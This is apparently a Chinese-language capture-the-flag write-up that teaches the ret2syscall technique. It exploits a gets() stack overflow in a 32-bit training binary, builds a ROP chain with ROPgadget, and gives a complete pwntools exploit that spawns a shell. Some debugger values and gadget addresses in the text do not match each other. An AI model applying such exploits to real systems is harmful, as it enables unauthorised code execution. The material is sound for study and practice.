通过栈溢出使用函数获得 execve 系统调用以取得 shell。
主要和上一个 ret2text 一样获得偏移量然后就是找 gadgets 写 payload。
前置知识
ROPgadget
gadget 原意是小玩意儿,就是当我们没办法获得比如像 system("/bin/sh") 的时候,我们去找一些汇编代码片段通过 ret 进行组合出我们想要的命令。
ROPgadget 是 pwntools 的一个用于获得 gadget 以用来生成 ROP 链的工具。下面简单介绍下几个参数:
- 加载二进制文件 –binary
1
|
ROPgadget --binary ./rop
|
- 自动生成 ROP 链 –ropchain
1
|
ROPgadget --binary ./rop --ropchain
|
生成的 ROP 链有地址,一般是拿地址加在攻击载荷上。
3. 显示特殊的指令 –only
1
|
ROPgadget --binary rop --only 'pop|ret'
|
这里获得带 pop 和 ret 的 ROP 链。
4. 在可读段寻找字符串 –string
1
|
ROPgadget --binary rop --string '/bin/sh'
|
execve 系统调用
execve 可以用于执行新程序,比如 shell 。
1
2
|
int execve(const char *path, char *const _Nullable argv[],
char *const _Nullable envp[]);
|
第一个参数的新程序的地址,第二个参数给新程序传参,第三个参数指定新程序的环境。
根据 x86 的 cdecl 调用约定,函数参数是从右到左入栈的,所以最开始应该先把第三个参数入栈以进行 ROP 攻击。
ret 助记符
ret 助记符等价于 pop eip 从栈顶取出 4 字节的地址放入 eip。 CPU 永远执行 eip 指向的指令。
每一次 ret 指令都是一次出栈取地址->修改 eip->执行对应代码的操作。
寻找的 ROP 在最后一般都带有 ret 为了执行对应的操作。
pwn
拿到程序先 checksec:
1
2
3
4
5
6
7
8
9
|
❯ pwn checksec --file=rop
[*] '/data/Hack/ret2syscall/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
32 位,只开启了 NX 保护。
进入 IDA pro 反汇编。
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
|
main 函数有 gets() 可以用栈溢出。
首先分析偏移量,查看汇编看到 esp+1Ch 。

可以得到 v4 相对 ebp 的偏移量为: ebp-esp-0x1c。
通过 pwndbg 在 call gets 地址处打断点可以得到此时的 ebp 和 esp:
1
2
|
EBP 0xffffcbb8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
ESP 0xffffcb30 —▸ 0xffffcb4c ◂— 3
|
上 python 计算:
1
2
3
4
|
>>> ebp = 0xffffcbc8
>>> esp = 0xffffcb40
>>> hex(ebp-esp-0x1c)
'0x6c'
|
这里填满了缓冲区,再加 4 字节覆盖 ebp 就可以进行攻击了。
而后就是寻找片段。
我们大致需要如下汇编(伪汇编):
1
2
3
4
5
|
mov eax 0xb
mov ebx '/bin/sh'
mov ecx 0
mov edx 0
int 0x80
|
打开 ROPgadget 寻找片段。
- 寻找 pop 、ret、eax 的片段:
1
2
3
4
5
6
|
❯ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
|
我们取 pop eax;ret 的地址 0x080bb196,在 exp 添加变量保存该地址。
2. 同理,寻找带 ebx ecx edx 的片段:
1
|
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
|
找到这个刚刚好:
1
|
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
|
- 寻找 int 0x80
1
2
3
4
5
|
❯ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf
|
- 寻找 /bin/sh 字符串
1
2
3
4
|
❯ ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
|
万事具备,上 exp
exp
1
2
3
4
5
6
7
8
9
10
11
12
|
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int0x80 = 0x08049421
binsh = 0x080be408
payload = b'a' * (0x6c+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int0x80)
sh.sendline(payload)
sh.interactive()
|
只要处理好从右向左入栈就好了。
参考资料
- PWN 入門 - rop, gadget 是什麼?
- ctf-wiki 基本 ROP ret2syscall
- Github JonathanSalwan/ROPgadget